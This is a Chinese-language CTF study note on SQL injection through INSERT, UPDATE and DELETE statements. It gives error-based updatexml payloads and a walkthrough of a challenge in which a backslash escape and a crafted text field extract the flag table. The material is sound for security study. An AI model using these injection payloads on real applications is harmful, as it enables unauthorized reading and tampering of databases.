insert等数据表相关操作的注入
本文是对安全牛《CTF从入门到提升》课程课时7的记录
insert,update,delete的注入和select注入类似,就不细讲了,主要讲例题
insert注入
先看看insert基本语法:
1 | insert into users(id,username,password) values(1,'user','passwd'); |
报错注入:
1 | insert into users(id,username,password) values (2,'attacker' or updatexml(1,concat(0x7e,database()),0),'passwd'); |
没有报错注入时也不一定要用延时注入,可以将想要得到的内容写入表中,在其他地方查看(详见网鼎杯第四场comment个人笔记)
二次注入:
https://www.jianshu.com/p/3fe7904683ac
update注入
update基本语法:
1 | update user set password='password' where id=2; |
报错注入:
1 | update user set password='password' or updatexml(1,concat(0x7e,database()),0) or '1' |
同样可以将想要的内容写入表中,在其他地方查看
delete注入
delete基本语法:
1 | delete from user where id = 2; |
报错注入:
1 | delete from user where id=2 or updatexml(1,concat(0x7e,database()),0); |
例题
http://chall.tasteless.eu/level15/index.php
可以看到有一个类似留言版的东西,可以提交name和text留言,然后留言板上会显示name:text,
并且底下有
Hint: table level15_flag column flag
显然可以从level15_flag的flag列获得flag
可以猜测sql语句是这样的
1 | insert into shoutbox(name,text) values('user1','hello!'); |
首先尝试插入’
提交name=’&text=xxx
显示’: adfaf
‘应该是被转义了尝试使用注释
提交name=’#&text=xxx
显示’#: xxx
注释也没有生效
想想也正常,如果’被转义的话,#在引号里是会被当成字符的使用\转义
接下来想到用\去转义掉原有的’
提交name=&text=abc
这时的sql语句应该是1
insert into shoutbox(name,text) values('\','abc');
发现显示了上一次提交的内容
猜测这是sql语句出现了错误,\产生了效果
这里因为提交的’会被转义掉,所以不能使用’去闭合,但我们可以使用,和()构造这样的sql语句:1
insert into shoutbox(name,text) values('\',',database())#')
也就是提交name=&text=,database())#
这时显示’, : tasteless_chall
注入成功
提交name=&text=,(select group_concat(flag) from level15_flag))# 拿到flag